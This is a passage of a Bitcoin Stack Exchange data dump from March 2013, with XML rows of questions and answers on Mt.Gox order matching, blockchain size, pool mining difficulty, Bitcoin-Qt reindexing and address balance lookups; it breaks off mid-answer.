  <row Id="8707" PostTypeId="1" AcceptedAnswerId="8717" CreationDate="2013-03-26T08:14:19.033" Score="1" ViewCount="471" Body="&lt;p&gt;E.g. if we have this order stock:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SELL 0.5 BTC @ PRICE $72 $/BTC (1)&lt;/li&gt;&#xA;&lt;li&gt;SELL 3 BTC @ PRICE $75 $/BTC (2)&lt;/li&gt;&#xA;&lt;li&gt;SELL 0.5 BTC @ PRICE $76 $/BTC (3)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And trying to buy 3.5 bitcoins for a price at $76.5 (higher than available prices). How will Mt.Gox select matching orders? Will it select the cheapest possible lines (1)&amp;amp;(2)? Is this equal to a market order?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastEditorUserId="3577" LastEditDate="2013-03-26T08:21:18.577" LastActivityDate="2013-04-22T11:11:11.163" Title="How will Mt.Gox select matching orders if asking for a price that is higher than available prices" Tags="|trading|mtgox|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8711" PostTypeId="2" ParentId="8706" CreationDate="2013-03-26T11:31:55.347" Score="4" Body="&lt;p&gt;With unlimited money, you could destroy almost anything. I don't really see why it matters. If someone with unlimited money spends a few billion dollars to destroy Bitcoin, we'll just create Bitcoin2 and maybe he'll spend another few billion destroying that. We can keep creating new crypto-currencies indefinitely. If each one gets a few billion dollars out of the hands of some evil entity, that's a win in my book.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-26T11:31:55.347" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8712" PostTypeId="1" AcceptedAnswerId="8739" CreationDate="2013-03-26T12:24:11.113" Score="9" ViewCount="12124" Body="&lt;p&gt;How big can the block chain become? It's already 7 GB after a couple years!&lt;/p&gt;&#xA;" OwnerUserId="3603" LastEditorUserId="5406" LastEditDate="2015-05-08T10:09:50.000" LastActivityDate="2016-03-13T04:22:33.800" Title="How big will the block chain become?" Tags="|blockchain|blocksize|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8715" PostTypeId="1" AcceptedAnswerId="8722" CreationDate="2013-03-26T14:03:24.487" Score="0" ViewCount="9457" Body="&lt;p&gt;I'm trying poolmining ob btc-guild with the cgminer and try to calculate by testing if it is worth it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing I wondered is: Why should I want to set a high difficult / not the lowest one, when mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I am paid for the last N shared within a shift, I would want to contribute as many shares as possible. The lower the difficulty is the higher is the amount of shares, isn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With about 170MH/s I have about 90 shares per hour.&lt;/p&gt;&#xA;" OwnerUserId="2732" LastEditorUserId="5406" LastEditDate="2016-02-21T09:08:15.563" LastActivityDate="2018-06-09T22:24:50.917" Title="Why to mine with a high difficult on PPLNS" Tags="|mining-pools|mining-pool-shares|miner-configuration|pool-payout-methods|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8716" PostTypeId="2" ParentId="8712" CreationDate="2013-03-26T14:04:55.710" Score="-1" Body="&lt;p&gt;Even if there are no rewards paid for finding/calculating a block in the blockchain, miners still get the transaction-fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is needed because without blocks, no transactions would be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of that, there is no limit on the blockchains size.&lt;/p&gt;&#xA;" OwnerUserId="2732" LastActivityDate="2013-03-26T14:04:55.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8717" PostTypeId="2" ParentId="8707" CreationDate="2013-03-26T14:35:01.403" Score="1" Body="&lt;p&gt;Of course it would select the cheaper ones. It's a limit order.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-03-26T14:35:01.403" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8718" PostTypeId="1" AcceptedAnswerId="8725" CreationDate="2013-03-26T14:37:24.263" Score="11" ViewCount="11994" Body="&lt;p&gt;When I upgraded to 0.8.1, it said Reindexing blocks on disk and it took about four days (Grr).  But later, it said something about a corrupted database and it had to do it again! What is it doing?&lt;/p&gt;&#xA;" OwnerUserId="2526" LastActivityDate="2013-09-13T14:38:53.693" Title="What does &quot;Reindexing blocks on disk&quot; mean?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8719" PostTypeId="2" ParentId="8715" CreationDate="2013-03-26T14:40:26.247" Score="-1" Body="&lt;p&gt;170MH/s is not much, so you will not be making much more than 0.3 of a BTC every 2-3 weeks or so, if that. How much is your electricity? That will probably be your benchmark. Use this: &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;http://tpbitcalc.appspot.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2013-03-26T14:40:26.247" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8720" PostTypeId="2" ParentId="8718" CreationDate="2013-03-26T14:41:48.380" Score="0" Body="&lt;p&gt;The way the blockchain is stored on your computer has changed with the latest version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers tweaked it, so that future users can profit from a faster init-proccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new indexing made it necessary to reinitialize your blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However it should not have taken so long. On my laptop it took about 2 hours. Do you have a very weak computer?&lt;/p&gt;&#xA;" OwnerUserId="2732" LastActivityDate="2013-03-26T14:41:48.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8721" PostTypeId="1" CreationDate="2013-03-26T14:59:35.420" Score="-1" ViewCount="323" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin-Qt initial sync can take a day to complete. You should make sure that you have enough bandwidth and storage for the full blockchain size.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What happens with wallet synchronization when blockchain gets infinitely large?&lt;/p&gt;&#xA;" OwnerUserId="3577" LastActivityDate="2013-03-27T01:52:59.200" Title="What happens with wallet synchronization when blockchain gets infinitely large?" Tags="|blockchain|" AnswerCount="1" CommentCount="0" ClosedDate="2013-04-02T13:28:26.627" ContentLicense="CC BY-SA 3.0" />
  <row Id="8722" PostTypeId="2" ParentId="8715" CreationDate="2013-03-26T17:15:50.240" Score="2" Body="&lt;p&gt;The server will reject all shares that are below the difficulty it specified in your &lt;code&gt;getwork&lt;/code&gt; request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reasons for the server to lower the difficulty of accepted shares:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Less variance for users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Reasons for the server to raise the difficulty of accepted shares:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Lowers bandwidth usage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Something from 4 to 10000 is about right.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-03-26T17:15:50.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8724" PostTypeId="1" CreationDate="2013-03-26T17:42:53.400" Score="4" ViewCount="3790" Body="&lt;p&gt;OK, my most immediate concern is that I made three ~$500 bitcoin purchases this weekend and downloaded the Bitcoin-Qt client, but ran out of HDD space just before it finished synchronizing the BlockChain, and now I don't even know what my BTC balance is, if my value is lost, or what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I don't know what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was at least bright enough to have made a screen print of the three bitcoin addresses from the client and also of my BitInstant orders (while they show the destination address and $ amounts paid/recieved, they don't list the amount of bitcoin I assume and hope that I received), but I can't find my private keys in the client, though it appears that I am able to Send Coins from the tab of that name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even know what my total amount of bitcoin is since Bitcoin-Qt hasn't finished synch-ing up, and I'm just sort of stuck without either bitcoin or fiat since my HDD is down to only ~200MB left with 1,746 blocks remaining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read that the Multibit and Electrum wallets seem to need less computer resources, so I was thinking/hoping that I could maybe transfer my bitcoin to one of those wallets, or maybe to the StrongCoin online wallet or other secure recommendation as an interim step, but I don't even know the precise quantity of bitcoin that I &lt;em&gt;should&lt;/em&gt; have in my bitcoin addresses, or if I can even send them without knowing my private keys.&lt;/p&gt;&#xA;" OwnerUserId="3607" LastEditorUserId="2306" LastEditDate="2013-03-26T18:39:30.467" LastActivityDate="2017-02-27T18:40:50.810" Title="I ran out of space while synchronizing, how do I get my private keys &amp; find my balance?" Tags="|wallet|client|bitcoin-core|private-key|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8725" PostTypeId="2" ParentId="8718" CreationDate="2013-03-26T18:15:33.220" Score="5" Body="&lt;p&gt;0.8x versions of the bitcoin-qt client now use a different database to store the blockchain.  This change was necessary to allow for larger block sizes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reindexing process is converting the previous database (which used BerkleyDB) into the new one (Which uses LevelDB).&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-03-26T18:15:33.220" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8726" PostTypeId="2" ParentId="8724" CreationDate="2013-03-26T18:45:40.130" Score="-1" Body="&lt;p&gt;So you bought $1500 worth of Bitcoins, before you had a place to store them? I think most exchanges require a wallet address before exchanging USD/BTC, so not sure how you did that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If somehow you have BTC coming to the Qt wallet that has/can not downloaded the blockchain, your S.O.L. until you get that blockchain. You need that chain for your wallet to even realize it has BTC in it. I don't think it will generate addresses before it has the blockchain... (might be wrong). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it looks like you need to start deleting stuff from your HDD to make room or loose $1500....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can have the BTC sent to me, I am a great escrow until that wallet gets the chain....&lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2013-03-26T18:45:40.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8727" PostTypeId="2" ParentId="8724" CreationDate="2013-03-26T19:07:22.083" Score="2" Body="&lt;p&gt;If you know what bitcoin address your bitcoins are coming to (and you should know if you expect to get your bitcoins), you can lookup balance on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/&lt;/a&gt;&lt;strong&gt;your-address&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace &lt;strong&gt;your-address&lt;/strong&gt; with your actual bitcoin address, for example here some random address i found: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/address/1LNx3azmdKyH43UsJ6DK9oUrTbkPUr6UJg&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address/1LNx3azmdKyH43UsJ6DK9oUrTbkPUr6UJg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3136" LastActivityDate="2013-03-26T19:07:22.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8729" PostTypeId="1" CreationDate="2013-03-26T19:29:29.043" Score="7" ViewCount="379" Body="&lt;p&gt;What are the metrics that matter when evaluating the overall &quot;health&quot; of Bitcoin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the thresholds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Economic (e.g. velocity, days destroyed, market volume &amp;amp; beta)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Technical (e.g. rate of difficulty change, block size, tx fees, size of the chain)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Diversity of stakeholders (who are the market movers, large investors, what are their intents: profit vs stability)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Specifically, I'm trying to get an understanding of financial health of a system that proclaims to be superior to the one it's trying to replace (or compliment).&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="15412" LastEditDate="2014-06-19T13:12:49.460" LastActivityDate="2019-10-17T14:39:58.583" Title="How can I measure the &quot;health&quot; of Bitcoin?" Tags="|economic-theory|legal|finance|technical-analysis|bitcoin-days-destroyed|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8730" PostTypeId="2" ParentId="8724" CreationDate="2013-03-26T19:57:50.677" Score="0" Body="&lt;p&gt;As umnik700 correctly mentions, you can use &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;blockchain.info&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;http://blockexplorer.com&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;blockexplorer.com&lt;/code&gt;&lt;/a&gt; to see balanced of a Bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use URLs like these:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockchain.info/address/1LNx3azmdKyH43UsJ6DK9oUrTbkPUr6UJg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;http://blockchain.info/address/1LNx3azmdKyH43UsJ6DK9oUrTbkPUr6UJg&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blockexplorer.com/address/1LNx3azmdKyH43UsJ6DK9oUrTbkPUr6UJg&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;http://blockexplorer.com/address/1LNx3azmdKyH43UsJ6DK9oUrTbkPUr6UJg&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With the past after the last slash being your address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;online wallets&lt;/a&gt; that do not require you to sync the whole Bitcoin block chain. Blockchain.info's &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;My Wallet&lt;/a&gt; is the most popular and a very same one. &lt;strong&gt;My Wallet also supports &lt;a href=&quot;https://blockchain.info/wallet/wallet-faq&quot; rel=&quot;nofollow&quot;&gt;importing &lt;code&gt;wallet.dat&lt;/code&gt; files from your Bitcoin-Qt client&lt;/a&gt;.&lt;/strong&gt; (If you need your private keys, you can find them through My Wallet as well after importing the wallet.dat, but obviously if you only need the private keys, there are other ways than importing.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also first make sure the bitcoins you bought are send to your account already. Most exchanges keep your Bitcoin balance with them until you chose to withdraw them to your address.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-03-26T19:57:50.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8731" PostTypeId="2" ParentId="4761" CreationDate="2013-03-26T20:00:11.427" Score="1" Body="&lt;p&gt;In the event of a loss in bitcoin mining capacity, it is my understanding that the network would respond within 2 weeks be decreasing the difficulty required (that is, increase the size of the SHA result pool that can produce a valid bitcoin.)  The result would be that less effort would be needed to produce bitcoins, so bitcoin mining would be profitable again, at least for some users.&lt;/p&gt;&#xA;" OwnerUserId="3611" LastActivityDate="2013-03-26T20:00:11.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8732" PostTypeId="2" ParentId="8662" CreationDate="2013-03-26T20:04:33.997" Score="1" Body="&lt;p&gt;Obviously many gambling websites cheat. Most of them are not transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An important thing is that most gambling websites that use a government-backed currency are subject to gambling laws in the country of that government.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin isn't. &lt;em&gt;Bitcoin is currently not subject to any gambling law&lt;/em&gt; and so it would be easier for gambling site owners to be unfair. &lt;em&gt;For this reason, it can be very important for a Bitcoin business to be transparent if they want to gain traction in the masses.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason, Bitcoin offers a unique way to prove fairness of such applications from within it's own workings. Why wouldn't you use it if you plan to offer a fair service after all??&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-03-26T20:04:33.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8733" PostTypeId="2" ParentId="8724" CreationDate="2013-03-26T20:05:53.957" Score="0" Body="&lt;p&gt;As others have pointed out, you don't need access to your key to know how much BTC you have.  blockchain and other services can tell you what your balance is, as long as you know what your address is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only need access to your wallet to &lt;em&gt;spend&lt;/em&gt; bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="3611" LastActivityDate="2013-03-26T20:05:53.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8734" PostTypeId="2" ParentId="8637" CreationDate="2013-03-26T20:22:27.637" Score="1" Body="&lt;p&gt;If you click on the WTF on the upper right corner you get explanations for all of the graphs. But not yet for the bars being below or above zero. The author will add that soon (2013-03-23).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile you can look at a reddit question here: &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1aqtgo/a_note_for_newbies_about_market_forces_feel_free/c8zz2ro&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/1aqtgo/a_note_for_newbies_about_market_forces_feel_free/c8zz2ro&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;green bars above the axis represent increases in buy/bid orders&lt;/li&gt;&#xA;&lt;li&gt;red bars below the axis represent decreases in buy/bid orders&lt;/li&gt;&#xA;&lt;li&gt;red bars above the axis represent increases in sell/ask orders&lt;/li&gt;&#xA;&lt;li&gt;green bars below the axis represent decreases in sell/ask orders&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(I think you can replace &lt;em&gt;axis&lt;/em&gt; and &lt;em&gt;above/below&lt;/em&gt; by &lt;em&gt;current price&lt;/em&gt; and &lt;em&gt;right/left&lt;/em&gt;, then it is correct. Though this does not explain the bars above and below the line parallel to the x axis)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I didn’t completely understand, why they are above and below, but I understood from the WTF explanation on the site, what red and green means. tl;dr: Green has different meaning, if it is left of the current price or if it is right of the current price. Same for red bars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe &lt;em&gt;comboy&lt;/em&gt;, the author of that site, adds a good explanation for this soon (he promised to do so on freenode irc chat).&lt;/p&gt;&#xA;" OwnerUserId="1307" LastEditorUserId="2306" LastEditDate="2013-04-07T15:42:36.030" LastActivityDate="2013-04-07T15:42:36.030" CommentCount="0" CommunityOwnedDate="2013-03-26T20:22:27.637" ContentLicense="CC BY-SA 3.0" />
  <row Id="8735" PostTypeId="1" AcceptedAnswerId="8740" CreationDate="2013-03-26T20:23:47.607" Score="0" ViewCount="102" Body="&lt;p&gt;&lt;strong&gt;Part 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this question, assume the overall hashrate of the environment is constant.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If 25% of the network hashpower were to be isolated (Australia had no Internet for example), what is the effect on block generation?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I suspect that blocks in Australia will take 75% longer to confirm, and the the main chain will confirm &lt;strike&gt; 75% faster&lt;/strike&gt;  &lt;strong&gt;(Edit: it will take 25% longer for the main chain to confirm, difficulty will adjust downward)&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Part 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I extrapolate the effects suppose &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;This outage is long-lasting&lt;/li&gt;&#xA;&lt;li&gt;A multiple of the 2016th block is reached on the main chain.  Maybe several multiples.  &lt;/li&gt;&#xA;&lt;li&gt;Difficulty is adjusted.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Given that the Bitcoin client is hard coded to prevent a change in difficulty more than 4x the the current difficulty:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What would happen to the isolated Australian chain if it reconnects to the main chain?  (w.r.t. the difficulty adjustment)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Suppose a different percent of the network were to become isolated.  What combination of %isolated, duration, and network hashrate would cause a 4x difficulty to be reached?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2015-01-07T05:05:35.853" LastActivityDate="2015-01-07T05:05:35.853" Title="What's the impact of net-splits on block generation... over a long period of time?" Tags="|blockchain|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8736" PostTypeId="2" ParentId="8587" CreationDate="2013-03-26T20:31:53.857" Score="1" Body="&lt;p&gt;When the BTC funds are on your &lt;a href=&quot;https://mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;MtGox&lt;/a&gt; account, a market sell order is nearly instantaneous and so done in a few seconds, dependent on the amount you buy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depositing Bitcoins to MtGox requires &lt;a href=&quot;https://support.mtgox.com/entries/20195237-General-Questions&quot; rel=&quot;nofollow&quot;&gt;6 confirmations&lt;/a&gt; before they show up in your account. 6 confirmations means 6 blocks to be mined since your transaction, this &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks#What_is_the_maximum_number_of_blocks.3F&quot; rel=&quot;nofollow&quot;&gt;will averagely take 1 hour&lt;/a&gt; to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The time for withdrawing your US dollars will strongly depend on the &lt;a href=&quot;https://support.mtgox.com/entries/20490576-Withdrawals-and-Deposits&quot; rel=&quot;nofollow&quot;&gt;withdrawal method&lt;/a&gt; you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are many other exchanges and so this answer only holds for MtGox. It's likely that other exchanges require less confirmations and/or have faster withdrawal methods. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-03-26T20:31:53.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8737" PostTypeId="2" ParentId="2798" CreationDate="2013-03-26T20:32:08.247" Score="17" Body="&lt;p&gt;Satoshi Nakamoto addressed this issue in &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg09964.html&quot;&gt;the original crypto forum thread&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Long before the network gets anywhere near as large as that, it would be safe &#xA;  for users to use Simplified Payment Verification (section 8) to check for &#xA;  double spending, which only requires having the chain of block headers, or &#xA;  about 12KB per day.  Only people trying to create new coins would need to run &#xA;  network nodes.  At first, most users would run network nodes, but as the &#xA;  network grows beyond a certain point, it would be left more and more to &#xA;  specialists with server farms of specialized hardware.  A server farm would &#xA;  only need to have one node on the network and the rest of the LAN connects with &#xA;  that one node.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The bandwidth might not be as prohibitive as you think.  A typical transaction &#xA;  would be about 400 bytes (ECC is nicely compact).  Each transaction has to be &#xA;  broadcast twice, so lets say 1KB per transaction.  Visa processed 37 billion &#xA;  transactions in FY2008, or an average of 100 million transactions per day.&lt;br&gt;&#xA;  That many transactions would take 100GB of bandwidth, or the size of 12 DVD or &#xA;  2 HD quality movies, or about $18 worth of bandwidth at current prices.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the network were to get that big, it would take several years, and by then, &#xA;  sending 2 HD movies over the Internet would probably not seem like a big deal. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="682" LastActivityDate="2013-03-26T20:32:08.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8738" PostTypeId="1" AcceptedAnswerId="8751" CreationDate="2013-03-26T20:36:28.307" Score="1" ViewCount="238" Body="&lt;p&gt;This is really &lt;a href=&quot;https://bitcoin.stackexchange.com/q/8735/1878&quot;&gt;Part 3 of this earlier question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the QT client is hard coded to never adjust difficulty more (or less than) a factor of 4...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What realistic scenario would cause the difficulty &lt;strong&gt;to decrease&lt;/strong&gt; by a factor of 4?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the hashrate were to decrease by a factor of 4, then that means current miners are trying to keep up with a difficulty that is incredibly hard given their relatively weak horsepower.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When network hashrate drops this way, I envision:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Transaction confirmations will take a very long time&lt;/li&gt;&#xA;&lt;li&gt;The interval between blocks would get exceptionally long&lt;/li&gt;&#xA;&lt;li&gt;It will take a very long time until 2016 blocks are mined before the target is adjusted back.&lt;/li&gt;&#xA;&lt;li&gt;It is relatively easy for the attacker to turn on his hardware at the 2017th block and DOS the network again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Bottom line, I doubt the -4 difficulty would ever be reached... but could be exploited for malicious purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So assuming a big loss in mining power occurs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How much horsepower must be added and then lost for a 4x difficulty to be realized?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How long will it take a transaction to be included in a block/confirmed (worst case)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How long will it take for the chain to return itself to normal levels?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finally,&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are the effects of a &quot;high horsepower user&quot; who intentionally switches on, then off a massive mining rig enough to disrupt Bitcoin network operations?  To what end?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Disclaimer: I know that 4x is not the only disruption that can occur, since lesser magnitude attacks would be equally annoying but want to forecast worst case scenarios.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-01-07T05:17:44.820" Title="Feasibility of a &quot;High horsepower&quot; attack (based on difficulty -4x adjustments)" Tags="|security|difficulty|hashpower|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8739" PostTypeId="2" ParentId="8712" CreationDate="2013-03-26T20:48:43.850" Score="7" Body="&lt;p&gt;The block chain length in number of blocks will grow indefinitely with &lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks#What_is_the_maximum_number_of_blocks.3F&quot;&gt;one block being created for 10 minutes on average&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://blockchain.info/charts/blocks-size&quot;&gt;actual size of the whole chain&lt;/a&gt; will strongly depend on the following two aspects:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;the number of transactions&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://blockchain.info/charts/n-transactions&quot;&gt;number of transactions&lt;/a&gt; in a block determine the &lt;a href=&quot;https://blockchain.info/charts/avg-block-size&quot;&gt;size of the block&lt;/a&gt;. So, the more transactions are made in the network, the more information there has to be stored.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;how the block chain will be stored across clients&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Since the speed with which the block chain grows has been slightly increasing since the beginning of Bitcoin and the block chain is already significantly big, some of the Bitcoin developers have been considering to implement a &lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability#Storage&quot;&gt;solution for this that would make it unnecessary to keep a history since the beginning of time&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently already the &lt;a href=&quot;http://bitcoin.org/en/download&quot;&gt;standard Bitcoin client&lt;/a&gt; compresses the block chain for storage. The older blocks become, 